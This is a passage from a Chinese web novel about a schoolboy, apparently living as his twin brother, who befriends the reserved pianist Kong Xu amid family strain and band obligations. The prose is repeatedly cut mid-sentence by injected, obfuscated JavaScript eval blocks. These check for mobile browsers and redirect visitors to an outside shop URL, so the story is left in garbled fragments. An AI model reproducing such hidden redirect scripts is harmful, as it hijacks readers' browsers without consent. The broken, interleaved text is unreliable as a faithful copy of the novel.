偌大的校园,省里最好的学校,不管是建筑还是造景都美轮美奂,各个季节都有繁茂的花草生长着,植物也都高大挺拔,通往琴房的枫林大道铺着一层青色的石砖,这个季节的枫林美得如火如荼,天地之间只有这片红最为惹眼。 不,孔栩要更加惹眼,邱以星想,他走在自己的身侧,周围的景色再好看,在他面前也要失去半分颜色,孔栩越冷淡,邱以星就越想往上凑,像个受虐狂,不被骂几句就不快活似的。 到琴房后,孔栩照旧拉上窗帘,方方正正的琴房一下子将所有外人隔开,邱以星坐在琴凳上,嗓音干涩地问:“你说话算话吧,说跟我做朋友那句。” “我才不像你那样言而无信,”孔栩说,“弹吧。” “儿歌行吗?” 孔栩:“随便。” 邱以星深呼一口气,揭开琴盖。 流畅的琴身纤尘不染,他两手往上一放,所有学琴的记忆铺天盖地地灌进他脑子里,他第一次听到钢琴的声音,第一次弹琴,第一次被人夸奖,第一次弹肖邦……无数的欢欣在他心口震荡,还有,他第一次听到孔栩的琴音。 把他从无边黑暗中唤醒的孔栩的琴音。 如果真能做朋友就好了,好想跟他做朋友啊,好想一直听他弹琴。 邱以星想,可如今的他当着孔栩的面弹钢琴,无疑是自取其辱,学琴时间太短,谱子全都忘得一干二净,他想了想,弹了一首《玛丽有只小羊羔》。 这首很简单,是小汤里他最喜欢弹的几首之一,弹起来很自由快乐,心情也随之变好。 弹完后,却见到孔栩阴着脸,说:“你故意的吧?” “啊?” “不要这首,”孔栩说,“换一个。” 邱以星:“可你不是说……” 孔栩蛮不讲理:“换。” 邱以星说:“有谱子吗?” 孔栩便从一边的柜子里翻出几本乐谱,邱以星看了几眼:“太难了。” “这个吧,没有更简单的了。”孔栩指着其中一首,“你别装,就弹这个。” 对孔栩来说确实是轻而易举,邱以星架好谱子,神情谨慎而严肃地看着琴谱,孔栩见他这样,心说有必要吗?跟大考似的。 邱以星太过紧张,错了好几个音,两只手也不协调,孔栩全程皱眉听他演奏,如果是演的,这演技就太好了,而且邱以星这人很在乎面子,不管什么方面都想压他一头,如果真那么会弹琴,尾巴早 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“怎么就不想了?”邱以星说,“你摸啊。” “不摸。” “算我求你行不行?”邱以星说。 “什么叫‘算’?” 邱以星改口:“是我诚心诚意地求你。” 他轻轻碰了一下孔栩的手指,见孔栩没反对,握着他的食指捏了一下,他有一搭没一搭地摩挲着孔栩的食指,又说:“真的,我以后再不那么说了。” 孔栩纳罕地望着邱以星,这人是邱以星吗? 是不是被人夺舍了?他明明是在故意恶心他,捉弄他,怎么他一点没察觉,反而还哄他? 他还要装多久?还能装多久? 孔栩想,既然你要跟我当朋友,我就如你所愿,我倒要看看你究竟想干什么,等我抓到你的把柄,你就彻底完蛋了。 邱以星浑然不觉孔栩内心的阴暗想法,心想,能醒来和孔栩当朋友,真好啊。 也就在此刻,他横生出一个念头:如果是这样活着的话,其实也不错,不是吗? 15. 第 15 章 邱以星和孔栩坐在公交车最后一排,最后一排的位置最高,两人俯视整个空荡的车厢,邱以星脑子一抽,突然中二无比地说:“哎,你看,我们像不像皇帝,众爱卿平身……哈哈。” 孔栩看了邱以星一眼:“皇帝就一个,你当了那我是什么?” 邱以星支吾说:“你可以是皇后……” 孔栩眯起眼。 邱以星的声音更小:“……也可以是太监……” 孔栩:“邱以星,信不信我掐死你。” “我信,你把琴键都弹坏了,我知道你力气大。”邱以星大笑,一点也不把孔栩的威胁放在眼里,低声说,“好了,你当皇帝,我给你当皇后行不行?” 孔栩哼了一声:“你想得倒挺美。” 邱以星接在后面说:“我长得也不丑。” 孔栩:“呵,自恋。” 邱以星却一本正经地说:“这应该没有,好多人都说我这张脸长得不错,去娱乐圈当爱豆也是绰绰有余。” 孔栩:“嚯,你还要当爱豆?你们乐队不会还打算出道吧?” 提起乐队,邱以星眉眼压着一团愁绪,没让孔栩察觉,随口打了个哈哈把这话题绕了过去。 没过一会邱以星就到站了,邱以星对孔栩挥了下手:“我走了,明天见。” 孔栩点点头:“嗯。” 邱以星下车后还在跟他招手,这下孔栩比他高更多,邱以星用口型对他说:“拜拜,小木鱼。” 孔栩抿着嘴,等车重新发动后,忍不住笑了一下。 意识到自己在笑,孔栩再度抿起嘴,恢复成往常不苟言笑的模样。 邱以星回家做的第一件事,是把书包上挂的长毛狮子拽下来塞到抽屉最里面。 他忍这只丑东西很久了,本以为自己很快就能离开,没想到这都一天半过去了,他一点儿沉睡的迹象都没有。 邱以星原地抻了抻身体,开始收拾房间,墙上挂的吉他也很碍他的眼,他把吉他和乱七八糟的海报摘下来一并推进床底。 书架上大多数的书籍并非属于他,小时候,他从没看过绘本,没有任何人带他启蒙,他甚至没有读过幼儿园。 然后他摸到一张倒扣的全家福。 照片上总共有四个人,是他十岁那天,他爸妈带着他们一起拍的。他忘记当时的站位,不知左边的是他,还是右边的是他。图上的两个男孩长得一模一样,笑容的弧度也一样,都是一张上翘的嘴,笑起来很讨喜。 邱以星盯着照片看了很久,抚摸过其中一个孩子的脸庞,几不可闻地说:“你是谁?是邱以星,还是……邱以睿?” 过了会尚问兰喊吃饭,他今天回来得比昨天要早,正好邱远加班刚到家,三个人久违地坐在一起吃晚饭。 邱以星给他们盛饭,又拿过一个空碗和一双筷子放在左边的空位上。 这是他来到这个家时,第一件会做的事。 邱远一边吃饭一边跟他们吐槽最近单位来的小年轻,小年轻做事不靠谱,连打印机都不会用,一周就做了三页PPT,被领导骂就躲在厕所哭,邱远评价:“这孩子真没用,还没我们家小邱机灵。活干不好没事,但至少嘴要甜,真是要什么没什么。” 尚问兰给邱以星夹了一筷子牛肉,不假思索地笑:“那当然,我们小邱可聪明。” 邱远转头问邱以星:“再过几天是不是要月考了?” 邱以星心里慌张,怎么才来就要考试,这就是高中吗?脸上却不显丝毫端倪,沉着冷静地点了下头:“嗯。” 邱远说:“我听说你们班有个很厉害的孩子……” 邱以星:“嗯,他叫孔栩,弹钢琴特别厉害。” “我没说弹琴,听说他年级前三,成绩很好,你要多向人家学学。”邱远语重心长地说,“高中了,不能再贪玩了,你那个乐队还要玩多久?” 尚问兰却说:“课外时间玩一玩而已,不耽误什么。” 邱远的语气显得有些冲:“不耽误?你看看他成天跟什么人在一块玩,职高的小混混,今天抽烟,明天打架,身上扎得七个孔八个洞,像什么样子,成天跟他们在一起很光彩吗?” “邱远!”尚问兰把筷子重重拍在桌上,很响亮的啪的一声,面色通红,急喘着气说,“你什么意思?孩子还小,玩玩乐队怎么了?又不是玩一辈子,总比在家里玩电脑和手机强吧?” “我也不是这个意思,”邱远耐着性子说,“你别这么激动。” 尚问兰冷笑说:“那你是什么意思?你还没管够是不是?” “我不管孩子,他怎么长大成人?”邱远说,“我们做大人的,总要给孩子指点几句,哪怕……” “你是什么机关干部要指点人?”尚问兰眼里已经泛起泪花,声音半哑,“就知道指手画脚,你管出什么玩意出来了?要不是你让——” “我吃饱了,”邱以星猛地站起身,其实他一顿饭下来就吃了两三口,他不擅长应对这种局面,只好落荒而逃,“我去写作业了。” 在他背后邱远和尚问兰仍在争执,邱以星想起有一年他们去乡下看望自己时,当着他的面也吵过,当时他直接抓了一把泥巴往他们身上扔来着,扔完两个人就都闭嘴了。 邱以星讨厌争吵到无法忍受的程度,他不想跟任何人发生争执,宁愿自己吃点亏,他痛恨争吵的环境,那会让他感到不安全。 尚问兰和邱远吵完没多久,两人盖着同一条毯子在沙发上看电视,和好如初,仿佛没发生半分龃龉。 往常这时候的“邱以星”已经写完作业,会陪他们看一会儿新闻频道,而现在邱以星把自己关在房间,并没有出去跟他们其乐融融一起看电视的打算。 邱以星坐在桌前玩了会手机。 手机是个好东西,置身于固定的小空间也能看天南地北的新闻,在这世界上的某处依旧发生战争;本年度的气温为有史以来的最高温度;一高校实验室发生爆炸,造成两起死亡;动物园的猴子集体出逃,在大马路上打劫路人;钓鱼佬钓到一条五十来斤的鱼对着镜头露齿大笑…… 好的或者不好的,邱以星兴趣缺缺地翻着,对他来说,一切都那么索然无味。 忽然手机震了两下,有人给他发来一条消息: 邱哥,忙不? 是彭天。 邱以星等了十分钟,才回复他:忙。 彭天:好吧,你有时间给我回个电话。 邱以星望着这条消息,没再回复。 屏蔽群消息之后,邱以星并不知道乐队其他人现在在做什么,他不在乎,更没有兴趣知道。乐队是邱以睿的乐队,不是他的,他不会弹吉他,会弹吉他的是邱以睿。 该怎么跟他们解释? 不好意思啊,我不会弹吉他。这理由听上去百分百实在耍他们。 或者,跟你们组乐队的是邱以睿,他是我哥,我们是双胞胎,长一样。听上去比前一句更嚣张更挑衅,等于在说“嘿,我把你们当傻子玩儿”。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016792|194219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 邱以星揉了揉脸,不想面对,只好屏蔽他们不见面,地球转一天是一天,他留一天是一天,能躲到哪天就算哪天。 回过神,作业是一个字都没写,上课唯一能听懂的是语文,对于英语那简直如同看天书,数学更是难如登天,更别说物理化学等其他科目,他勉强写了两个字,然后给闻旋发信息:“班长,作业能不能借我看看?” 闻旋完全没把邱以星与“抄作业”联系到一起,很爽快地把作业拍给他看,并说道:“有哪儿错了记得跟我讲讲。” 好在并非是面对面交流,闻旋看不到邱以星心虚又窘迫的脸。 学霸写作业只要两小时,学渣抄作业都得抄到十二点半,邱以星收拾好书包,刚要睡觉,手机屏幕亮了一下。 他拿起一看,是齐大彬,齐大彬说:睡了没?有件事不知当讲不当讲。 邱以星:你说吧。 齐大彬:你还没睡啊?是这样的,你早上吃的锅贴实在是太香了,我馋一天了,在哪儿买的? 邱以星:我家楼下卖早点的摊子上买的。 齐大彬:啊?离学校这么远? 邱以星:我给你带吧,除了锅贴还要什么? 齐大彬没料到邱以星要给他带饭,邱以星是何许人也,帮人带饭这种小弟才会做的事,邱以星怎么会同意?齐大彬想说算了吧,别让人给我削成八段,邱以星自顾自说:那加杯豆浆和两个茶叶蛋,他家茶叶蛋也不错。 齐大彬:……行,谢谢了,多少钱我明天给你。 第二天早上邱以星喝了杯牛奶,叼着个包子便匆匆出了门,火急火燎地冲到楼下去给齐大彬买早点。 早点买好,提在手里,他站在公交站台等车,伸着脖子翘首以盼,没过一会儿,他看到37路驶来,靠窗有个端正且熟悉的身影。 邱以星暗自记下时间,两步跨上公交,坐在了孔栩旁边的空位上。 “早上好,”邱以星朝孔栩露出一个笑容,“这么巧。” 孔栩“嗯”了一声,看见他手上拎的早点:“还没吃?” 邱以星说:“吃过了,你吃了没?没吃给你吃。” 孔栩吃过了,却还是说:“能吃吗?没下毒吧。” 邱以星听出他在调侃,接招说:“下了,下的‘弱智药’,吃了就变笨。” 孔栩敬谢不敏:“那还是你自己一人独享吧。” 邱以星又碰碰他的胳膊:“你带了手机没?加个微信。” “我没手机,”孔栩一本正经说瞎话,“也没微信。” 邱以星有点儿困惑了,分不清楚他说的真话还是假话:“那你朋友怎么联系你呢?” “我没朋友,”孔栩说,“不需要联系他们。” 邱以星心说,昨天还说要跟我做朋友,今天就说不需要,这是什么意思? 很快,孔栩便看着邱以星,补充了一句:“但你如果有事,可以打我家座机。” “那不用,”邱以星高兴了,说,“那你有手机之后再告诉我吧。” 孔栩只说了一半实话,他是真的没有朋友,不会主动去联系旁人。 他当然也有手机,只是不想加邱以星,不希望他在课堂之外的时候联系自己。 他答应当邱以星的朋友,只是任凭邱以星接近自己,在他放松戒备之时,找到他的把柄。 孔栩想,邱以星这种狂妄自大的人,肯定不多久就会破绽百出,不会有耐心继续跟他玩这种“朋友过家家”的游戏。 16. 第 16 章 自那天后,邱以星连续一周每天早上坚持与孔栩“偶遇”,每次见面,他两手的每根手指头都挂满了早饭,如同一个早点摊移动站点。 打齐大彬在班里一推销,找邱以星带早饭的人数激增,孔栩以为他没过两天就要放弃,结果邱以星跟夺了舍似的,不仅不抱怨,全都满口答应了下来。 连罗鸣玉都张大了嘴巴,问他:“兄弟,你最近很不对劲啊,什么时候变这么好说话了?” 邱以星便是一副老好人的样子,傻呵呵地笑着:“都是同班同学,互相帮助嘛。” 邱以星看上去非常乐在其中,一进教室满是锅贴包子肉松饭团和手抓饼的气味,一连几天兴致丝毫不减,孔栩坐在邱以星后桌,眯起眼睛打量他的后脑勺,心说,我要看看你到底能装到什么时候。 果不其然,隔天孔栩按照着平时的时间坐公交,到了邱以星上车的站点,却不见邱以星的人影。 孔栩冷冷望着公交的前门,心想,终于坚持不下去了,你也不过如此。 他把放腿上的书包,重重地撂在旁边的空座上。 “今天怎么就你一个人?”罗鸣玉诧异地问孔栩,平时都看他和邱以星一起进班。 孔栩说:“谁知道他。” 罗鸣玉感兴趣地凑上来:“你觉不觉得最近邱以星变化特别大?他好像换了个人似的,看到老师就喊老师好,特别有礼貌,对别的同学也不拿鼻孔看人,而且你们关系也变得比之前好多了。” 孔栩:“‘好多了’?我怎么不知道?” 罗鸣玉望着孔栩紧绷着的小脸,心里纳闷,每天上下学一起走,还有说有笑的,难道她看错了? 等到离早读铃还剩最后一分钟响起时,邱以星这才迈着匆匆的脚步冲进来。 除了周一固定要穿校服,其余时间邱以星都是穿自己的衣服,他偏爱宽松的卫衣,天气逐渐转凉,卫衣也逐渐变得厚实,此刻正把他闷得一头汗。 齐大彬一望见邱以星,嗷呜一嗓子喊了出来:“哥们儿你可算来了!” 嗷嗷待哺的饿狼们一拥而上,将邱以星众星拱月般地堵在门口。 邱以星一口气还没喘匀,早读铃就响了,他一边说“小心别洒了,里面有汤汁”,一边小心翼翼地将手里的袋子挨个递出去,顷刻间一扫而空,连书包都差点被人拽走。 早读期间柴晓驰来巡视一圈,每个人都立着课本津津有味口齿不清地朗读,教室里飘满了食物的香气。 柴晓驰皱眉说了一句:“去外面站着吃,吃完再进来,一股味儿。” 教室走了小半的人,纷纷站在走廊狼吞虎咽,柴晓驰气不打一处来:“早起五分钟死不了,以后谁再让我抓到在早读课吃早饭,谁就上大屏幕,挂一个月!” 罗鸣玉问邱以星怎么才来,邱以星小声说:“今天老板的助手请假了,就他一个人,做的慢了点。” 孔栩掀开眼皮,正巧邱以星回头看了他一眼,邱以星信誓旦旦:“我明天一定能起更早。” “明天周六。”孔栩淡淡地说。 邱以星:“那就周一。” 孔栩:“不用,你爱什么时候来就什么时候来。” 邱以星讪笑:“你是不是生气了啊?” 罗鸣玉的耳朵竖了起来,打量孔栩一眼,帮腔说:“这小脸板的,我看是有点心情不好,你快哄哄。” 邱以星洗耳恭听:“怎么哄?” 孔栩咬牙:“你们够了啊,闭嘴。” 晚上两人留下来值日。 齐大彬自从当了劳动委员,重新做了一张值日表,将全班分为早晚两轮,孔栩和邱以星被分到一组,且变成每周五放学后值日。 一天下来孔栩都没跟邱以星说几句话,中午去食堂也没坐一起,酥一点的泡芙就剩两个了,还都不是他喜欢的口味,孔栩只好退而求其次,打包了一份麻薯,坐在教学楼外面的花廊,就着冷风吃完了。 回教室的路上看到了齐大彬,他莫名其妙地对齐大彬说:“以后能不能自己的事自己做?” 齐大彬摸不着头脑“啊?”了一声。 还是不爽,一直持续到放学,他默不作声地摆桌椅,邱以星非过来和他摆同一组,孔栩把他的手挥开:“别碍事行吗?” 他的语气不是很好,班里的其他两个值日生顿时看了过来,看这架势,生怕他俩互殴。 邱以星却丝毫不介意,他问:“等会儿去琴房吗?我看你中午没吃饭,饿不饿?” 孔栩不耐烦,刚要说话,这时门口有人朗朗地叫了一声“邱以星”。 孔栩和邱以星一齐回头,看见门口站着个漂亮女孩儿,长头发,笑容很甜,大大方方地朝邱以星招了招手:“邱以星,方便出来一下吗?” 邱以星对孔栩留下一句“千万别先走,等我啊”,便朝女孩走了过去。 有值日生嘀咕说:“这个邱以星真有两把刷子,怎么连校花都勾搭上了。” 直到教室打扫完毕,邱以星还没回来,另外两个值日生已经走了,只剩孔栩一人在教室。 孔栩坐在邱以星的课桌上,心想,再等一分钟如果邱以星还不回来,就把他的书包给扬了。 好在邱以星赶在孔栩倒计时的最后十秒钟回来了,他像个出门打猎得胜归来的猎人,卫衣的兜里塞满了吃的,两手也捧满零食,指缝夹着一张方形的卡片,隐约能看到卡片背面写满了字。 “幸好你没走。”邱以星看见孔栩,松了一口气。 “聊什么了这么久,校花给你的?”孔栩说。 邱以星见孔栩坐在自己桌上,理直气壮没有要下来的样子,便把手里的东西堆在孔栩桌上,又把卫衣兜里的零食全都掏了出来。 “校花?你说刚刚那个女生?她说是气象台的粉丝。”邱以星把零食往孔栩桌肚里放,“你喜欢喝这个牌子的牛奶,给你喝。抹茶味的巧克力,你也喜欢吧?” “我不要,又不是给我的。”孔栩说,“拿走。” “我给你的啊,”邱以星不解孔栩的拒绝,“我不喜欢吃零食。” “所以你把不喜欢的东西给我?”孔栩继续刁难,“我是垃圾桶吗?” 邱以星终于明白过来了,凑上来问:“真生气了?难怪中午不跟我一块吃饭。” “我没有。”孔栩清了清嗓子。 邱以星望着孔栩垂下的双眼,笑着说:“那就没有吧。还有我刚刚跟齐大彬说了,以后不帮他带饭了,吃来吃去也就那几样,也该腻了。” 孔栩两手撑在课桌上,骨节分明,长而纤巧,由于用了点力气,指甲盖前段泛着白,孔栩不知道怎么形容自己这种心情,带着一丝别扭,要是换做刚开学那几天,自己都这么咄咄逼人了,邱以星能在教室里跟他当众呛起来,现在一个旁人都没有,他真装上瘾了? “情书你打算怎么办?”孔栩这时抬起眼看邱以星,“又要扔?” 邱以星一听笑容更明显了,把卡片往孔栩面前一放:“什么情书啊,这是给气象台的祝福,她给乐队所有人都写了的,不信你看。” “不看。”孔栩从桌上跳下来,抓起书包就走。 “去哪儿?”邱以星提着书包跟上。 “食堂。” “小木鱼,”邱以星突然叫住孔栩,“你落了一样东西。” “什么?”孔栩一扭头,看见邱以星手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016793|194219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里多出一个纸袋,是酥一点的咖色包装袋。 “现在去肯定没有了,”邱以星把纸袋塞到孔栩手里,“还热乎着。” 孔栩满是惊讶:“你什么时候去的?” “就刚刚,我要了老板的微信,拜托他帮我预留一份,”邱以星说,“这个你喜欢吧。” 孔栩接过包装袋,他去食堂就是为了买酥一点的抹茶奶油泡芙,现在没必要去食堂了。 他很少能买到食堂刚出炉的泡芙,外皮是热的,酥脆得几乎掉渣,咬上一口,里面是冰凉的甜而不腻的奶油,口感无比美妙,连带着刚刚微妙的别扭感消失得无影无踪。 “谢谢。”孔栩嘴角沾了一点奶油,拿人手短,吃人嘴短,他自己一个人吃不好意思,往邱以星嘴里塞了一个,“你也尝尝。” 邱以星一愣,随即泛着浓郁抹茶味的清甜在他口腔里爆开,他对甜食一直兴趣缺缺,少时生活在乡村,奶奶总跟他说这种小零食最不健康,放了很多添加剂和色素,让他多吃饭,才能长得高,长得壮。 后来他离开乡村,见到了市面上五花八门的零食,也提不起兴趣,孔栩总买食堂的泡芙他是知道的,闻起来香喷喷的,没想到吃起来竟是这种滋味,有一种几近于幸福的味道 “还不错吧?”孔栩冲他皱了皱鼻尖,也笑起来,“甜食很解压,要不要再来一个?” 邱以星默默地“嗯”了一声,微微张开嘴,指望孔栩喂他,结果孔栩只是递到了他手边。 不知道是不是自己的错觉,孔栩觉得邱以星变可爱了一点,然后他赶紧打住,将这可怕的念头从大脑中驱逐出去。 “我要去琴房,”孔栩说,“你来吗?” 邱以星感受着泡芙的香甜,含混不清地说:“来。” 一周孔栩至少会来琴房四次,邱以星问孔栩家里有琴,为什么不直接回家练琴,孔栩说:“不想那么早回家。” 这想法和邱以星不谋而合,邱以星说:“我也不想回家。” 孔栩问:“为什么?” 邱以星叹了口气,实话实说道:“不知道怎么面对我爸妈,感觉很累。” 本周进行了九月份的大月考,成绩还没下来,邱以星已经知道以自己的水平绝对会垫底,他几乎没有会写的题目,每天上课都是浑浑噩噩,最开心的事就是放学吃饭以及和孔栩呆在琴房,听他练琴,不然人生则是一点盼头都没有了。 “你想听什么?”孔栩揭开琴盖问邱以星。 “肖邦的降E大调夜曲,”邱以星也不推辞,满怀期待地说,“九之二,我想听你弹这首。” 孔栩也喜欢这一首,他弹奏时,邱以星便撑着下巴安静欣赏。孔栩弹的肖邦像是静谧的雨滴,干净的琴音在琴房里流淌,一点一滴落在邱以星心上,几乎令他潸然。 一曲结束,邱以星还在回味,孔栩看着他意犹未尽的样子,从书包里拿出一张精美的信封。 信封是淡淡的粉色,上面刻有一行流畅的银色英文字母,孔栩有些不好意思地将信封递到他眼前:“喏,给你。” 邱以星看清后,迷醉的表情骤然清醒,继而变得慌张,一下从椅子上弹起来,面色通红,红到了耳朵尖。 “这这这是……” 孔栩眼睛不看邱以星,而是望向窗帘:“邀请函,周日我有演奏会,你是我的朋友嘛,我还没请过朋友来演奏会看我表演,你要来吗?” 邱以星疯狂的心跳在听完孔栩的解释后也无法平息,他刚刚还以为孔栩给他递情书,整个人都有些发懵。 “啊,我,我会去的。”邱以星深呼吸一口气,努力将震荡不休的心按下去,对孔栩说,“我一定会去的。” 17. 第 17 章 岚江大剧院,九月二十五日,下午两点,二排二十七座,最中间的位置。 邱以星回家后又将邀请函拿出来细细看了一遍,他查询了那个复杂单词,invitation,邀请,又听了好几遍单词发音,in-vi-ta-tion,银色的字母在光线下柔美地流动着,邱以星凑上去闻了闻,有股淡淡的香气。 孔栩说第一次邀请朋友看演出,邱以星想到这句话,平静的心潮又开始波澜起伏,在家翻箱倒柜找合适的去听演奏的衣服,动静之大,尚问兰敲门问他是不是打算房间拆了。 终于找好一套简单又不失气质的衣服,邱以星拿衣架挂好,坐回椅子,第十几回抚摸邀请函,差点把印刷上去的银粉蹭光。 这时手机震动起来,是来电时的持续震动,邱以星无法忽视,看到联系人名字,下意识叹了口气:“喂,你好。” “邱哥,”彭天像松了口气似的,熟稔地问,“这几天很忙吗?” 邱以星谨慎地斟酌用词:“嗯,是比较忙。” 彭天笑了两声:“你们一中学习任务肯定很重吧,每天那么多门功课,我上回听全小潭说,你每天卷子都要写七八门,一天用三支中性笔,打饭都是跑着去。” “也没那么夸张,”邱以星说,“是不是跑着去得看菜单。” 彭天不解其意,他话题转了个弯,说道:“邱哥,你这周有没有空?” 邱以星:“怎么了?” “哦,就是上次我们不是说去尧哥那儿看看他吗?”彭天说,“全小潭还有我这周日都挺空的,你要是有时间,我们就一起。” 邱以星说:“周日下午有点事。” 彭天提议说:“那上午去呗,不耽误你的事。” 邱以星犹豫了片刻:“那行吧。” 彭天声音低下来:“尧哥这段时间过得挺不好的,赔偿金一直没谈拢,他还被辞了,现在整天躲在家里不出门,人都憔悴了一圈。” 邱以星不知该如何回复才能显得自己有人情味一点,他就远远地见过丁尧一面,听邱以睿说过这人从小爹妈离婚,跟奶奶相依为命,满脑子除了搞乐队就是搞钱,蛮可怜一人。 能让一张嘴巴常年说不出好话的邱以睿评论“蛮可怜”这种同情的词,说明那人是真过得很惨。 邱以星半天憋出一句:“那我们给他捐点儿钱?” 彭天不太赞成:“捐钱?我和全小潭的钱加起来都不够凑一千整的,你能捐多少?” 邱以星:“……不太清楚,我等会看看。” 彭天说:“见面再商量,九点钟老地方。” 邱以星尴尬地叫住彭天:“等一下,‘老地方’是哪儿?” 彭天心里诧异,不过没细想:“乐队的基地,就我家地下室啊。” 邱以星心说我哪知道你家地下室在哪,他丝毫不想去,直言道:“不能在丁尧家门口集合?” 彭天:“尧哥家离我家没多远,我想着我们正好去趟基地把他东西带给他。” 邱以星皱眉寻思说:“那你发个定位给我。” 他赶在彭天问为什么找他要定位之前说:“我最近忘性大,也好久没去了。” 彭天“哦”了一声:“理解,你学习太用功,占用脑容量。” 邱以星听着感觉不像什么好话,可又没法反驳,只好说:“嗯,你发我吧,挂了。” “邱哥……”彭天欲言又止。 “你还有事吗?”邱以星问。 彭天干巴巴笑了声:“没事,见面再聊,不打扰你学习了。” 邱以星如获大赦:“好的,再见。” 拿“学习”来搪塞向来令邱以星感到心虚,可此刻却有种如释重负的轻松,跟彭天对话全程邱以星都紧绷着神经,生怕一不小心就露馅。 丁尧手指受伤,生存都成问题,听他们意思接下来丁尧不会继续留在乐队,邱以星想,要不要趁这个机会跟他们说自己也打算退出呢?贝斯手不好找,吉他手一抓一大把,气象台还算有名气,再招个成熟的吉他手并不是什么难事,乐队照样会运转下去。 邱以星将窗户推开一条缝,任由稍冷的空气钻进房间,他脑子清醒了一点,决定还是将心思暂时放学习上,每天抄闻旋的作业也不是办法,闻旋遇到不会写的问他,他说自己也不会,搞得闻旋还以为他在凡尔赛,对他冷眼相待。 唉,邱以星长长地叹气,活着可真烦啊。 周日上午七点半,邱以星上身穿浅蓝色衬衫,外面套一件白色针织背心,着深灰色长裤,以及一双崭新的黑色皮鞋,皮鞋光可鉴人。 他在镜子前粗略一照,看得过去,又往头发上喷了喷尚问兰的定型喷雾,学着邱以睿的样子抓了抓头发。 紧接着他动作突然间一顿,猛地垂下脸,不再看镜子中自己的脸。 他的手指莫名其妙地颤起来,好像邱以睿! 邱以星的大脑像是针扎了似的,太阳穴突突突地狂跳。 缓了很长时间,邱以星才慢慢将视线从洗脸池移动到镜面。 镜子里的人双眼通红,泛着血丝,嘴角上扬,始终像在微笑。 他已经很久没有这样近距离照过镜子,乍一细看,令他浑身发抖。 连他爸妈都很难分清哪个是邱以睿,哪个是他,他们两个长得太像,以至于邱以星吓了一大跳。 他甩开乱七八糟的念头,冷水洗了把脸,将邀请函和手机揣进一个黑色方形包,斜斜挎着。 出门前尚问兰问他去哪儿,他说去彭天那里,尚问兰看了他很久,忽然说:“你不是把吉他收起来了,还要继续弹吗?” 邱以星没有回答,反而问:“你去了我房间?” 尚问兰:“我给你打扫,发现吉他被你收起来了。” 邱以星想了想说:“妈,我长大了,也有隐私,下回别进我房间了,我自己会收拾的。” 尚问兰听到他这话,嘴唇动了动,露出一个苍白的笑容来:“好,妈知道了。” 邱以星站在门口,与尚问兰对视一眼,他明明住家里,却跟林妹妹似的总有种寄人篱下的感觉,很少直视父母的脸,如今一看,觉得尚问兰眼角细纹密密的,看上去老了许多,令他心口一阵发紧。 他立即收回视线,改口说:“我没有怪你的意思,我只是……我只是不太习惯。” 尚问兰的笑容里带着包容与理解,是最亲切的最疼爱儿子的母亲才会露出的笑容:“我知道的,你不是急着出门么?别迟到了。” 邱以星便一拉把手,推门出去了。 他不愿细想尚问兰看他的眼神,好像在透过他的脸看另外一个人。 邱以星赶到彭天家楼下,地下室在哪儿他也不知道,等了两分钟彭天从楼上下来了,他望见邱以星,眼睛一亮:“哇,邱哥,你今天也太帅了吧,下午去约会吗?” “什么约会,”邱以星笑道,“去看个朋友的演出。” “哪个朋友啊?”彭天好奇地撞了撞肩膀,挤眉弄眼的,“这么快就交到好朋友了?” 彭天比他稍微矮点儿,长得瘦嶙嶙,看上去有点儿营养不良,右边耳朵上打了个扎眼的黑色耳钉,唇钉被他摘了,隐约能看见嘴唇上有个小洞。 邱以星看了两眼这个小洞,心说,不知道他喝水漏不漏? “全小潭昨晚打游戏打到凌晨四点,睡过头了,一时半会儿估计起不来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016794|194219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,咱俩不等他了,先去基地拿东西。”彭天揽着邱以星肩膀,热络地说,“尧哥的东西多着呢,不知道基地里的那几个纸箱装不装得下,我还得找人借辆三轮。” 邱以星跟着彭天进了地下室。 这里原先是车库,由于老小区里尽是一帮老头老太太,没人开车,于是闲置下来,空间又大,彭天和全小潭便在这划了一块地,像模像样地拉了几张帘子,在墙壁上涂涂画画,又贴了一些摇滚乐队的海报,置办出一个临时的基地出来。 后来有空他们拉了两根电线,用铁丝在顶上固定好,挂了一溜小电灯泡,灯光一照,倒是挺像那么回事。 邱以星对这里没有印象,一直沉默不语。 